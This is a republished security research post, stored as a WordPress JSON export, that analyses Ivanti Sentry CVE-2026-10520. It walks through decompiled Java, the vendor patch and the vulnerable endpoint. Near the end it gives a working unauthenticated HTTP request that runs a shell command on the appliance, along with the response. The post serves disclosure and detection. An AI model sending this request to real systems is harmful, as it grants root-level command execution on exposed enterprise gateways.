{"id":469378,"date":"2026-06-10T01:46:10","date_gmt":"2026-06-10T01:46:10","guid":{"rendered":"https:\/\/www.newsbeep.com\/nz\/469378\/"},"modified":"2026-06-10T01:46:10","modified_gmt":"2026-06-10T01:46:10","slug":"more-evidence-that-words-dont-mean-what-we-thought-they-meant-ivanti-sentry-pre-auth-os-command-injection-cve-2026-10520","status":"publish","type":"post","link":"https:\/\/www.newsbeep.com\/nz\/469378\/","title":{"rendered":"More Evidence That Words Don&#8217;t Mean What We Thought They Meant (Ivanti Sentry Pre-Auth OS Command Injection CVE-2026-10520)"},"content":{"rendered":"<p><a href=\"https:\/\/hub.ivanti.com\/s\/article\/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523?language=en_US&amp;ref=labs.watchtowr.com\" rel=\"nofollow noopener\" target=\"_blank\">Today, Ivanti published an advisory.<\/a><\/p>\n<p>\u201cNo way?\u201d we hear you say. &#8220;Yes way!&#8221; a random dog screams back at you, across the street.<\/p>\n<p>Today\u2019s rare advisory outlines two vulnerabilities in Ivanti\u2019s Sentry product, appealing directly to our inner desire for sophisticated server-side, pre-authenticated vulnerabilities.<\/p>\n<p>With our inner desire only partially satisfied, we found adults who could help us read the advisory. We were kindly told that although Ivanti managed to provide minimal information, there are a few clues about what the supposed drama is about:<\/p>\n<p>CVE-2026-10520<\/p>\n<p>An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution (Credit to Unknown, but not us)<\/p>\n<p>CVE-2026-10523<\/p>\n<p>An Authentication Bypass vulnerability (CWE-288) in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated attacker to create arbitrary administrative accounts and obtain full administrative access (Credit to Bryan Lam)<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/nz\/wp-content\/uploads\/2026\/06\/1781055968_572_image.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"1373\" height=\"1146\"  \/><\/p>\n<p>Whilst an Authentication Bypass (CVE-2026-10523) in a product called \u2018Sentry\u2019 does sound confusing, and on any other Tuesday would be wildly interesting, our gaze quickly wandered.<\/p>\n<p>Why? Because CVE-2026-10520 (we know, it\u2019s catchy) gets full Secure-by-Design points with a CVSS score of 10\/10 &#8211; just as you\u2019d expect for a Pre-Authenticated Command Injection.<\/p>\n<p>Lest we forget the pledge &#8211; full marks, or you get removed from the list.<\/p>\n<p>Armed with our copy of Web App Hackers for Pre-Schoolers (us), we knew we were prepared for the journey ahead with Ivanti Sentry.<\/p>\n<p>What is Ivanti Sentry?<\/p>\n<p>Ivanti Sentry, formerly known as MobileIron Sentry, is an in-line gateway that manages, encrypts, and secures traffic between mobile devices and back-end enterprise systems. It usually sits between corporate mobile fleets and resources such as Microsoft Exchange, controlling ActiveSync email traffic and application data. Sentry works alongside Ivanti Endpoint Manager Mobile (EPMM) and enforces device-level access decisions, so only compliant, registered devices can reach internal services.<\/p>\n<p>Because it\u2019s an Ivanti appliance, paired with it\u2019s need to operate at the network edge and broker access to sensitive infrastructure, compromising it naturally gives attackers a direct path toward internal systems (in our opinion).<\/p>\n<p>(We used Mythos to write that)<\/p>\n<p>Setting The Scene<\/p>\n<p>As always, we do things, and we end up with things. We\u2019ll be utilizing the following versions for our analysis today:<\/p>\n<p>Ivanti\/Mobileiron Sentry 10.5.1 (Vulnerable)Ivanti\/Mobileiron Sentry 10.5.2 (Different)Come On, Frodo, Let\u2019s Go<\/p>\n<p>Fortunately for us (despite having plenty of code to reverse) we\u2019ve heard of Ivanti before and have vague recollections of the code bases for both Ivanti Sentry and Ivanti EPMM from previous research.<\/p>\n<p>One thing we\u2019ve learned along the way is that Tomcat-based vulnerabilities tend to cluster around a handful of application context paths.<\/p>\n<p>For example:<\/p>\n<p>Ivanti EPMM lives under \/mifs,While Ivanti Sentry is exposed under \/mics.<\/p>\n<p>Armed with that knowledge, we\u2019ll skip the boring parts that we\u2019ve covered before and jump straight into diffing the meat: mics.war , the war that contains the misleading Sentry application.<\/p>\n<p>For those currently reviewing their attack surface, the application presents itself via \/mics\/login.jsp and looks something like this:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/nz\/wp-content\/uploads\/2026\/06\/1781055969_713_image-1.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"1652\" height=\"1262\"  \/><\/p>\n<p>A quick diff showed that only a single JAR had changed between the vulnerable and patched versions:<\/p>\n<p>mics-core-10.5.1-R10.5.1.jar (Vulnerable)mics-core-10.5.2-R10.5.2.jar (Different)<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/nz\/wp-content\/uploads\/2026\/06\/1781055969_604_image-2.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"1864\" height=\"462\"  \/><\/p>\n<p>The change was located in a familiar place:<\/p>\n<p>mics-core\/com\/mi\/middleware\/rest\/controller\/ConfigServiceController.java<\/p>\n<p>Opening the class reveals a fairly standard Spring Boot controller with straightforward request routing. For example, the controller defines the following parent mapping:<\/p>\n<p>@RequestMapping({&#8220;\/api\/v2\/sentry\/mics-config&#8221;})<\/p>\n<p>A helpful start, because we can already infer that the vulnerability likely sits somewhere beneath this route prefix.<\/p>\n<p>With even more luck on our side, only a single method in the controller had changed between versions. That method is annotated with:<\/p>\n<p>@PostMapping({&#8220;\/handleMessage&#8221;})<\/p>\n<p>You see where this is going. Joining the controller-level mapping with the method-level mapping gives us the target path:<\/p>\n<p>\/mics\/api\/v2\/sentry\/mics-config\/handleMessage<br \/>\n<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/nz\/wp-content\/uploads\/2026\/06\/image-3.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"2000\" height=\"507\"  \/>   @PostMapping({&#8220;\/handleMessage&#8221;})<br \/>\n   public ResponseEntity&gt; handleMessage(String message) {<br \/>\n      try {<br \/>\n         if (message != null &amp;&amp; !message.trim().isEmpty()) {<br \/>\n            String result = this.configService.handleMessage(message);<br \/>\n            return result != null &amp;&amp; !this.containsError(result)<br \/>\n               ? ResponseEntity.ok(new ApiResponse&lt;&gt;(200, &#8220;Message handled successfully&#8221;, result))<br \/>\n               : ResponseEntity.badRequest().body(new ApiResponse&lt;&gt;(400, &#8220;Failed to process message&#8221;, result));<br \/>\n         } else {<br \/>\n            return ResponseEntity.badRequest().body(new ApiResponse(400, &#8220;Message is empty or null&#8221;, null));<br \/>\n         }<br \/>\n      } catch (Exception var3) {<br \/>\n         return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(new ApiResponse&lt;&gt;(500, &#8220;Internal server error&#8221;, var3.getMessage()));<br \/>\n      }<br \/>\n   }<br \/>\nWhat\u2019s Next?<\/p>\n<p>Reviewing the controller method, we can see that the API accepts a user-supplied message string and passes it directly into the handlerMessage() method for processing.<\/p>\n<p>Following the execution flow into:<\/p>\n<p>mics-core\/com\/mi\/middleware\/service\/impl\/ConfigServiceHandler.java<\/p>\n<p>allows us to see exactly what happens inside handlerMessage():<\/p>\n<p>public String handleMessage(String msg) {<br \/>\n      String module = null;<br \/>\n      String xpath = null;<br \/>\n      String command = null;<br \/>\n      IConfigResponse response = null;<br \/>\n      if (this.userService == null) {<br \/>\n         LOG.error(&#8220;userService is null&#8221;);<br \/>\n      }<\/p>\n<p>      StringTokenizer tokenizer = new StringTokenizer(msg);<br \/>\n      if (tokenizer.hasMoreTokens()) {<br \/>\n         command = tokenizer.nextToken();<br \/>\n      }<\/p>\n<p>      if (tokenizer.hasMoreTokens()) {<br \/>\n         module = tokenizer.nextToken();<br \/>\n      }<\/p>\n<p>      if (tokenizer.hasMoreTokens()) {<br \/>\n         xpath = tokenizer.nextToken();<br \/>\n      }<\/p>\n<p>      if (command == null) {<br \/>\n         response = this.getErrorResponse(&#8220;22&#8221;, &#8220;Invalid configuration command&#8221;);<br \/>\n         return response.getResponse();<br \/>\n      } else {<br \/>\n         String value = null;<br \/>\n         if (command.equalsIgnoreCase(&#8220;set&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;delete&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;get&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;add&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;modify&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;import&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;export&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;test&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;copy&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;execute&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;query&#8221;)<br \/>\n            || command.equalsIgnoreCase(&#8220;migratepasswordhash&#8221;)) {<br \/>\n            StringBuilder sb = new StringBuilder();<\/p>\n<p>            while (tokenizer.hasMoreTokens()) {<br \/>\n               sb.append(tokenizer.nextToken()).append(&#8221; &#8220;);<br \/>\n            }<\/p>\n<p>            value = sb.toString().trim();<br \/>\n         }<\/p>\n<p>         LOG.debug(&#8220;command: &#8221; + command + &#8220;, module: &#8221; + module + &#8220;, xpath: &#8221; + xpath);<\/p>\n<p>         try {<br \/>\n            if (!command.equalsIgnoreCase(&#8220;set&#8221;)<br \/>\n               &amp;&amp; !command.equalsIgnoreCase(&#8220;add&#8221;)<br \/>\n               &amp;&amp; !command.equalsIgnoreCase(&#8220;modify&#8221;)<br \/>\n               &amp;&amp; !command.equalsIgnoreCase(&#8220;copy&#8221;)<br \/>\n               &amp;&amp; !command.equalsIgnoreCase(&#8220;delete&#8221;)<br \/>\n               &amp;&amp; !command.equalsIgnoreCase(&#8220;query&#8221;)) {<br \/>\n               response = this.handleMessage(module, xpath, command, value); &lt;&#8212;- [0]<br \/>\n            } else {<br \/>\n               if (module == null) {<br \/>\n                  response = this.getErrorResponse(&#8220;22&#8221;, &#8220;Invalid configuration command&#8221;);<br \/>\n                  return response.getResponse();<br \/>\n               }<\/p>\n<p>               IModuleHandler moduleHandler = this.getModuleHandler(module);<br \/>\n               synchronized (moduleHandler) {<br \/>\n                  response = this.handleMessage(module, xpath, command, value);<br \/>\n               }<br \/>\n            }<br \/>\n         } catch (MIConfigException var12) {<br \/>\n            LOG.debug(&#8220;Exception during handleMessage: &#8221; + var12.getErrorMessageAsString());<br \/>\n            response = this.convertToResponse(var12);<br \/>\n         }<\/p>\n<p>         return response.getResponse();<br \/>\n      }<br \/>\n   }<\/p>\n<p>Without diving too deeply into the implementation just yet, a few variable names immediately caught our attention. Names such as xpath, module, and command tend to stand out when you&#8217;re looking for vulnerability patches.<\/p>\n<p>The user-supplied message (msg) is parsed, split into multiple tokens, and mapped into these variables before being passed into another handlerMessage() method at [0]:<\/p>\n<p>public IConfigResponse handleMessage(String module, String xpath, String command, String value) throws MIConfigException {<br \/>\n      IConfigResponse response = null;<br \/>\n      ConfigRequestProcessor reqProcessor = new ConfigRequestProcessor();<br \/>\n      if (this.prettyPrint) {<br \/>\n         reqProcessor.enablePrettyPrint();<br \/>\n      }<\/p>\n<p>      if (module != null) {<br \/>\n         reqProcessor.setHandler(this.getModuleHandler(module));<br \/>\n      }<\/p>\n<p>      switch (ConfigCommand.getCommand(command)) {<br \/>\n         case GET:<br \/>\n            response = reqProcessor.handleGet(xpath, value);<br \/>\n            break;<br \/>\n         case GETLIST:<br \/>\n            response = reqProcessor.handleGetList(xpath);<br \/>\n            break;<br \/>\n\/\/        &lt;&#8212;&#8212;snipped&#8212;&#8212;&gt;<br \/>\n         case EXECUTE: &lt;&#8212;- [1]<br \/>\n            response = reqProcessor.handleExecute(xpath, value);<br \/>\n            break;<br \/>\n         case TEST:<br \/>\n            response = reqProcessor.handleTest(xpath, value);<br \/>\n            break;<br \/>\n\/\/        &lt;&#8212;&#8212;snipped&#8212;&#8212;&gt;<\/p>\n<p>      return response;<br \/>\n   }<\/p>\n<p>These values are then passed through a switch statement based on the command value, with execution branching into different handler paths.<\/p>\n<p>Unsurprisingly, the one that caught our eye was EXECUTE at [1], which routes execution into:<\/p>\n<p>reqProcessor.handleExecute(xpath,value)<\/p>\n<p>Following that call into:<\/p>\n<p>mics-core\/com\/mi\/middleware\/service\/impl\/ConfigRequestProcessor.java<\/p>\n<p>makes it much clearer what handleExecute() is actually doing:<\/p>\n<p>public IConfigResponse handleExecute(String xpath, String value) throws MIConfigException {<br \/>\n      this.validateXPath(xpath);<\/p>\n<p>      try {<br \/>\n         XmlObject confObj = CommonUtilities.getXMLConfig(this.handler.getXMLConfigFile());<br \/>\n         this.handler.setConfiguration(confObj);<br \/>\n      } catch (Exception var9) {<br \/>\n         LOG.error(&#8220;Error while reading configuration file&#8221;, var9);<br \/>\n         throw new MIConfigException(&#8220;105&#8221;, &#8220;Reading config file failed&#8221;, var9);<br \/>\n      }<\/p>\n<p>      XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);<br \/>\n      LOG.debug(&#8220;EXECUTE has valid entry&#8221;);<br \/>\n      XmlObject tmpObjType = tmpObjList[0];<br \/>\n      String response = &#8220;&#8221;;<\/p>\n<p>      try {<br \/>\n         Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, &#8220;Execute&#8221;);<br \/>\n         response = (String)nativeResp;<br \/>\n      } catch (RuntimeException var8) {<br \/>\n         LOG.error(&#8220;Configuration execute failed&#8221;, var8);<br \/>\n         throw new MIConfigException(&#8220;115&#8221;, &#8220;Configuration execute failed&#8221;, var8);<br \/>\n      }<\/p>\n<p>      return this.getSuccessResponse(response);<br \/>\n   }<\/p>\n<p>Looking further into this method, we can see that the user still controls both xpath and value.<\/p>\n<p>If certain conditions are satisfied, execution eventually reaches executeNativeCommand() in common-10.6.0.1s-64\/com\/mi\/mics\/service\/CommonUtilities.java:<\/p>\n<p>public static Object executeNativeCommand(XmlObject obj, String type) throws MIConfigException {<br \/>\n      if (LOG.isDebugEnabled()) {<br \/>\n         LOG.debug(String.format(&#8220;into executeNativeCommand : type %s &#8220;, type));<br \/>\n      }<\/p>\n<p>      String implClsName = obj.getClass().getName();<br \/>\n      String methodType = &#8220;get&#8221; + type + &#8220;method&#8221;;<br \/>\n      Method method = ReflectionUtilities.getMethod(implClsName, methodType);<br \/>\n      XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);<br \/>\n      method = ReflectionUtilities.getMethod(implClsName, &#8220;getClassname&#8221;);<br \/>\n      XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);<br \/>\n      method = ReflectionUtilities.getMethod(implClsName, &#8220;getBeanclass&#8221;);<br \/>\n      XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);<br \/>\n      LOG.debug(&#8220;Class Name : &#8221; + className.getStringValue() + &#8221; Method : &#8221; + getMethodName.getStringValue() + &#8221; Bean class : &#8221; + beanClass.getStringValue());<br \/>\n      Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(<br \/>\n         className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj<br \/>\n      );<br \/>\n      if (LOG.isDebugEnabled()) {<br \/>\n         LOG.debug(&#8220;sucessfully called executeNativeCommand : &#8221; + getMethodName);<br \/>\n      }<\/p>\n<p>      return excuteModuleMethod;<br \/>\n   }<\/p>\n<p>At this point, the flow becomes much clearer. The message value is not treated as a simple string. It is parsed as a MICS configuration command, split into a command, module, XPath, and XML body, then passed into the backend configuration system.<\/p>\n<p>The important method is executeNativeCommand(). It takes the parsed XML object, identifies which native method should handle it, and invokes that method via reflection. In other words, this endpoint can reach internal system-level configuration actions.<\/p>\n<p>Reverse-engineering the exact XML structure would take time, but the patch gives us a strong clue.<\/p>\n<p>In the \u201cdifferent\u201d version, Ivanti stops using the user-supplied message value and replaces it with a hardcoded command:<\/p>\n<p>  String result = this.configService<br \/>\n            .handleMessage(<br \/>\n               &#8220;execute system \/configuration\/system\/commandexec \\\\n1\\\\n\/bin\/cat \/sys\/devices\/virtual\/dmi\/id\/product_name\\\\n&#8221;<br \/>\n            );<\/p>\n<p>That command contains a commandexec XML block and a reqandres field populated with a benign \/bin\/cat invocation. <\/p>\n<p>With our detective hats on, we concluded that this was a fairly strong (ha) indicator that the vulnerable code path was intended to execute some sort of command.<\/p>\n<p>Notably, the patch does not remove the underlying functionality. Instead, it removes random-internet-user control over the input being passed into the command string.<\/p>\n<p>With that in mind, we took the command format introduced by the patch and supplied it to a vulnerable instance, replacing the benign reqandres value with a simple uname -a command:<\/p>\n<p>POST \/mics\/api\/v2\/sentry\/mics-config\/handleMessage HTTP\/1.1<br \/>\nHost: f5.com<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nContent-Length: 131<\/p>\n<p>message=execute system \/configuration\/system\/commandexec 1uname -a<\/p>\n<p>Response:<\/p>\n<p>HTTP\/1.1 200<br \/>\nContent-Type: application\/json<br \/>\nConnection: keep-alive<br \/>\nServer: Server<br \/>\nPragma: no-cache<br \/>\nCache-control: no-cache, no-store, must-revalidate<br \/>\nSet-Cookie: JSESSIONID=BBE702EA82AB5A9849DF96545C8814D5; Path=\/mics; Secure; HttpOnly;SameSite=lax<br \/>\nX-XSS-Protection: 1; mode=block<br \/>\nStrict-Transport-Security: max-age=31536000; includeSubDomains<br \/>\nX-Frame-Options: SameOrigin<br \/>\nX-Content-Type-Options: nosniff<br \/>\nContent-Length: 247<\/p>\n<p>{&#8220;status&#8221;:200,&#8221;message&#8221;:&#8221;Message handled successfully&#8221;,&#8221;data&#8221;:&#8221;Linux f5.com 4.18.0-553.84.1.el8_10.x86_64 #1 SMP Mon Nov 17 12:53:24 PST 2025 x86_64 x86_64 x86_64 GNU\/Linux\\\\n&#8221;}<\/p>\n<p>And just like that, we&#8217;ve reproduced CVE-2026-10520: a pre-authenticated OS command injection in Ivanti Sentry with a well-deserved CVSS score of 10.<\/p>\n<p>For those curious what the fully patched implementation looks like, here it is:<\/p>\n<p>@RequestMapping({&#8220;\/api\/v2\/sentry\/mics-config&#8221;})<br \/>\npublic class ConfigServiceController {<br \/>\n   @Autowired<br \/>\n   private ConfigService configService;<br \/>\n   private static final Log LOG = LogFactory.getLog(ConfigServiceController.class);<br \/>\n   private static final String DMI_PRODUCT_NAME_COMMAND = &#8220;execute system \/configuration\/system\/commandexec \\\\n1\\\\n\/bin\/cat \/sys\/devices\/virtual\/dmi\/id\/product_name\\\\n&#8221;;<\/p>\n<p>   @PostMapping({&#8220;\/handleMessage&#8221;})<br \/>\n   public ResponseEntity&gt; handleMessage(String message) {<br \/>\n      try {<br \/>\n         String result = this.configService<br \/>\n            .handleMessage(<br \/>\n               &#8220;execute system \/configuration\/system\/commandexec \\\\n1\\\\n\/bin\/cat \/sys\/devices\/virtual\/dmi\/id\/product_name\\\\n&#8221;<br \/>\n            );<br \/>\n         return result != null &amp;&amp; !this.containsError(result)<br \/>\n            ? ResponseEntity.ok(new ApiResponse&lt;&gt;(200, &#8220;Message handled successfully&#8221;, result))<br \/>\n            : ResponseEntity.badRequest().body(new ApiResponse&lt;&gt;(400, &#8220;Failed to process message&#8221;, result));<br \/>\n      } catch (Exception var3) {<br \/>\n         return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(new ApiResponse&lt;&gt;(500, &#8220;Internal server error&#8221;, var3.getMessage()));<br \/>\n      }<br \/>\n   }<\/p>\n<p>Not only has the handleMessage() input been hardcoded, but further inspection revealed additional defensive changes outside of the Java code.<\/p>\n<p>Specifically, the bundled Apache configuration now contains regex-based rules that block access to the vulnerable endpoint entirely, causing unauthenticated requests to be redirected to the login page via a 302 response.<\/p>\n<p>In other words, Ivanti did not just remove attacker control over the vulnerable execution path. They also added a layer of protection in front of it to make reaching the endpoint significantly more difficult<\/p>\n<p>In other words: they added authentication.<\/p>\n<p>As always, we&#8217;re providing a <a href=\"https:\/\/github.com\/watchtowrlabs\/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523?ref=labs.watchtowr.com\" rel=\"nofollow noopener\" target=\"_blank\">Detection Artefact Generator<\/a> to allow teams to determine whether their environment is vulnerable:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/nz\/wp-content\/uploads\/2026\/06\/image-4.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"1852\" height=\"766\"  \/><\/p>\n<p>The research published by <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Labs<\/a> is powered by the same engine behind the <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Platform<\/a>, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.<\/p>\n<p>The <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Platform<\/a> combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.<\/p>\n<p>                            Gain early access to our research, and understand your exposure, with the watchTowr Platform<br \/>\n                            <a style=\" &#010;    box-sizing: border-box;  text-decoration:none; color: #000000;   background-color: #faf000;    font-weight: 600;    letter-spacing: -0.02em;    padding-bottom: 1.4rem;    padding-top: 1.4rem;    width: 100%;    margin-top: 2rem;\" href=\"https:\/\/watchtowr.com\/demo\/\" rel=\"nofollow noopener\" target=\"_blank\">REQUEST A DEMO<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Today, Ivanti published an advisory. \u201cNo way?\u201d we hear you say. &#8220;Yes way!&#8221; a random dog screams back&hellip;\n","protected":false},"author":2,"featured_media":469379,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[111,139,69,145],"class_list":["post-469378","post","type-post","status-publish","format-standard","has-post-thumbnail","category-technology","tag-new-zealand","tag-newzealand","tag-nz","tag-technology"],"_links":{"self":[{"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/posts\/469378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/comments?post=469378"}],"version-history":[{"count":0,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/posts\/469378\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/media\/469379"}],"wp:attachment":[{"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/media?parent=469378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/categories?post=469378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newsbeep.com\/nz\/wp-json\/wp\/v2\/tags?post=469378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}